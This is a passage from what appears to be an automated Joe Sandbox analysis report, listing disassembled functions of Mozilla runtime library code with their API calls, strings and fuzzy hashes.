Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 503269c283dc4d2a22b57d1ac3002c1dfff8c4077f4ea4cd8742d8b71b341dd7
Instruction ID: 12860dd0cd55e4509d6816fae004fea5ff952bd387bd2b4fc5c920d4ce6c3d36
Opcode Fuzzy Hash: 503269c283dc4d2a22b57d1ac3002c1dfff8c4077f4ea4cd8742d8b71b341dd7
Instruction Fuzzy Hash: 58911575A043118FD758CF28C29476AB7F1EB89318F25492ED4AAD7F88D730E904CB82

Function 6CE93480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CE93492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CE934A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CE934EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CE9350E
__Init_thread_footer.LIBCMT ref: 6CE93522
__aulldiv.LIBCMT ref: 6CE93552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CE9357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CE93592

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CE93508
kernel32.dll, xrefs: 6CE934EA

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: bc08fe22e99d6d3cf2288463cdc1710937c784715e04b4dd36b8d4d2e4517ca2
Instruction ID: 953dc474b6b44f939d3f0ac65bccfbf2025f0f5d2ddff70c1fd83bdbb2938f9d
Opcode Fuzzy Hash: bc08fe22e99d6d3cf2288463cdc1710937c784715e04b4dd36b8d4d2e4517ca2
Instruction Fuzzy Hash: 1831B1B1F102099BDF84DFB9C949BAA77B9FB4A304F214419E505E3B50DB70A905CB61

Function 6CEF4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CEF4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF4F2E
moz_xmalloc.MOZGLUE ref: 6CEF4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CEF4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEF52E6
Sleep.KERNEL32(00000010), ref: 6CEF5481
free.MOZGLUE(?), ref: 6CEF5498

Strings

(, xrefs: 6CEF5250

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 92301641a2a47bf803dda798f4279243cba81ac3f51d878f124bed568c1a3f78
Instruction ID: 6936e6bc370fb79324b5c59e7e975b6ba729e0b732fab30aa3a272f73108b68b
Opcode Fuzzy Hash: 92301641a2a47bf803dda798f4279243cba81ac3f51d878f124bed568c1a3f78
Instruction Fuzzy Hash: 9FF1E271E19B008FC756CF38C85162BB7F5BFD6284F06872EF856A7651DB3194428B81

Function 6CEB9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CEB9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CEB9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CEB9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CEBA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEBA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEBA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEBA8B1, 6CEBA8D4, 6CEBA8EF

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 772fe0b503c82b259fac2ddbc8b269a46530e3f57aa600cbf04113fb14ed36c8
Instruction ID: 72174aecb6257dc201bfd91c5450d76549ec27e83bd7992db18d928d33a20e91
Opcode Fuzzy Hash: 772fe0b503c82b259fac2ddbc8b269a46530e3f57aa600cbf04113fb14ed36c8
Instruction Fuzzy Hash: 1F725D72A557118FD714CF28C640625FBF1BF86328F29C66DE869AB791D335E842CB80

Function 6CEE2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CEE2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CEE2C61

Part of subcall function 6CE94DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CE94E5A
Part of subcall function 6CE94DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CE94E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEE2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CEE2E2D

Part of subcall function 6CEA81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CEA81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CEE2E3B
expected a Time entry, xrefs: 6CEE2E36
(root), xrefs: 6CEE354F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 6cf55d6c5b2d0fcf26c708119af3bf36239a77ce865ed2e36effc37de1338c32
Instruction ID: 28774a13efcbc1f2a74030acfa2f78bc0bbd7b758defc402ec2bac3b457078e1
Opcode Fuzzy Hash: 6cf55d6c5b2d0fcf26c708119af3bf36239a77ce865ed2e36effc37de1338c32
Instruction Fuzzy Hash: 6491B1706087818FC724CF28C49569FB7F1AFC9398F20891DE59A9BB61DB30D949CB52

Function 6CEBC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CEBC317
MOZ_CRASH(), xrefs: 6CEBD4BB

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 34d470aed73224c0a4f0d0d3125ede23e32303eaeeb32e2568b831f36f92526d
Instruction ID: 00267ea5f0a24d4b3e6a168ce49d6557b8e4322232d0b60196e90ec042a71efc
Opcode Fuzzy Hash: 34d470aed73224c0a4f0d0d3125ede23e32303eaeeb32e2568b831f36f92526d
Instruction Fuzzy Hash: 5452D134B0C3418FD714CF18C6507AAB7F2EB86318F24891DE9EAA7B95D7359846CB42

Function 6CEF9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CEF9F3D
__aulldiv.LIBCMT ref: 6CEF9F77
__aullrem.LIBCMT ref: 6CEF9F8C
__aulldiv.LIBCMT ref: 6CEFA023

Strings

-Infinity, xrefs: 6CEF9E60, 6CEF9E7B
NaN, xrefs: 6CEF9EAB

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 3480106b1448875ffb8131454ad9cbedc3f34cc583cc127d7b54d4f4740c24fb
Instruction ID: 7b6acf87c968ee52d52fb38850d55ad1b1edda53572f4fc7344bec02ed3e485c
Opcode Fuzzy Hash: 3480106b1448875ffb8131454ad9cbedc3f34cc583cc127d7b54d4f4740c24fb
Instruction Fuzzy Hash: E3C1BE72F403188FDB14CFA8C8507AEB7B6BB85708F25452DD425AFB80D771A94ACB91

Function 6CE9D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6CE9DE7F
-, xrefs: 6CE9D7DD
0, xrefs: 6CE9D852
, xrefs: 6CE9DA88
0, xrefs: 6CE9DC7F
1, xrefs: 6CE9DBDD
@, xrefs: 6CE9DAF6
8, xrefs: 6CE9DC08

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 499aa43ff35e93a3dbb2e19af7eb44a63ab5ac1dcb71fa6be1d2836d0a916891
Instruction ID: a7e15301831a622ce44160634667965dfccbacfb0a148dc42a5bb1f470c89ace
Opcode Fuzzy Hash: 499aa43ff35e93a3dbb2e19af7eb44a63ab5ac1dcb71fa6be1d2836d0a916891
Instruction Fuzzy Hash: AC62BE7960C3658FD711CE28C09075ABBF2AF8635CF384A0DE4D54BB91D3759A86CB82

Function 6CF0545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CF08A4B

Strings

~ql, xrefs: 6CF05703, 6CF05740, 6CF09269, 6CF0921F, 6CF09459, 6CF056C7, 6CF0948F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 5b88ce73b7143c66e70a42455aa78361d36e67256971dc804e9ae563f34fe99a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 2DB1E676F0021ACFDB14CF68CCA07A9B7B2EF85314F1802A9C549DB781E770A985DB90

Function 6CF0542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CF088F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CF0925C

Strings

~ql, xrefs: 6CF05703, 6CF05740, 6CF09269, 6CF0921F, 6CF09459, 6CF056C7, 6CF0948F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 01c3518ff02f15b2eb7db1247b1d21bf15c259f913dd3074d5b48be91708f028
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F7B1C576F0120ACBCB14CF58CC916E9B7B2AF85314F154279C549DB785D730AA89DB90

Function 6CF050C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF08E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CF0925C

Strings

~ql, xrefs: 6CF05703, 6CF05740, 6CF09269, 6CF0921F, 6CF09459, 6CF056C7, 6CF0948F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 9b7eec0929e9352f97cfe588f8c81e26d8f7633d3c6511bbec01f99ca4cd6ad3
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 45A1D776F0011ACFCB14CF68CC90799B7B2AF85314F1542BAC949EB785D730AA99CB90

Function 6CEA9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6CEAA824
@, xrefs: 6CEAA625
0, xrefs: 6CEAAB22
' , xrefs: 6CEAA3D8
9, xrefs: 6CEAA5D6
0, xrefs: 6CEAA100

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7db591c4933e196755768460d32a22175b3f1f59b1ee1392870a94a704b69f36
Instruction ID: 5b34e250aa0415c3ddabc2daa1c6ed7c1df8ccfc0800542f2ea74d09b40003b6
Opcode Fuzzy Hash: 7db591c4933e196755768460d32a22175b3f1f59b1ee1392870a94a704b69f36
Instruction Fuzzy Hash: E082CF715893119FD7118E89C08026EB7F2EB8574CF75892EE8D54FA90D339988BCF92

Function 6CE9BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE9C1CB
__aulldiv.LIBCMT ref: 6CE9C24C
__aulldiv.LIBCMT ref: 6CE9C348
__aullrem.LIBCMT ref: 6CE9C365
__aulldiv.LIBCMT ref: 6CE9C37D

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: a829ae57653dcd65ad08e0febf2f902e6b414a7c179e702f3b401a0507389b80
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 6F322532B046118FC718EE2CC890A56BBE6AFC9314F19866DE899CB3D5D734ED05CB91

Function 6CEE77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEE7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEE7A93

Part of subcall function 6CEB5C50: GetTickCount64.KERNEL32 ref: 6CEB5D40
Part of subcall function 6CEB5C50: EnterCriticalSection.KERNEL32(6CF1F688), ref: 6CEB5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CEE7AA1

Part of subcall function 6CEB5C50: __aulldiv.LIBCMT ref: 6CEB5DB4
Part of subcall function 6CEB5C50: LeaveCriticalSection.KERNEL32(6CF1F688), ref: 6CEB5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CEE7B31

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 86135467f2b3e2ac5efcf9e0ee5fbfe2a74948da45f7ba57ffc15c1da0b7c72e
Instruction ID: 0d79f962ceba012147ca1a6db7ea9f6c28dbd19ed4b39320907c078caa8dccc6
Opcode Fuzzy Hash: 86135467f2b3e2ac5efcf9e0ee5fbfe2a74948da45f7ba57ffc15c1da0b7c72e
Instruction Fuzzy Hash: E6B17C356083908BDB14CF24C45065FB7F2BFC9358F254A1DE99567B92DB70E90ACB82

Function 6CEB8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEB9813, 6CEB985D, 6CEB9878, 6CEB9CEB
MOZ_CRASH(), xrefs: 6CEB97EA

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 1752ff9eb1e7a971694f1c37fbc46b85430fe7dcbdb76e521ec918632a5b9652
Instruction ID: 8f446627ad8b4a8ff3f14a2180a679cab90377a29598d107d1f6dc3f129fcad1
Opcode Fuzzy Hash: 1752ff9eb1e7a971694f1c37fbc46b85430fe7dcbdb76e521ec918632a5b9652
Instruction Fuzzy Hash: CFD27E71A056028FD718CF18C690725BBF1BF96328B39C76DD86A9B7A5C731E841CB80

Function 6CED6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CED6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CED6E1E

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 19352d332761ce338a940878c05749b25fdf9d0b4b218c60c70e09e9375e22e9
Instruction ID: d49bcbe319adcbb96c42ad0b201c7cff2c14255e61e074319ba8f4a7e1122381
Opcode Fuzzy Hash: 19352d332761ce338a940878c05749b25fdf9d0b4b218c60c70e09e9375e22e9
Instruction Fuzzy Hash: C1A17B706187818FD714CF24C490BAAFBF6BF89308F25491DE88A87751DB70B949CB82

Function 6CEFB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6CECFE3F), ref: 6CEFB720
RtlNtStatusToDosError.NTDLL ref: 6CEFB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6CECFE3F), ref: 6CEFB760

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: f950bfac56bf232e9cc9d8569aa4a3ee5154c8fa3f1dedc9eb47b22309efb52e
Instruction ID: d80d5c7c4452385432c37568faed1e5b8ea96abb53cc3073e5b136603932f9b4
Opcode Fuzzy Hash: f950bfac56bf232e9cc9d8569aa4a3ee5154c8fa3f1dedc9eb47b22309efb52e
Instruction Fuzzy Hash: 8EF0AFB0E0030CEEEF019AA5CC85BEFB7BC9B0831DF209229E521656C1D7749588D662

Function 6CEB4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

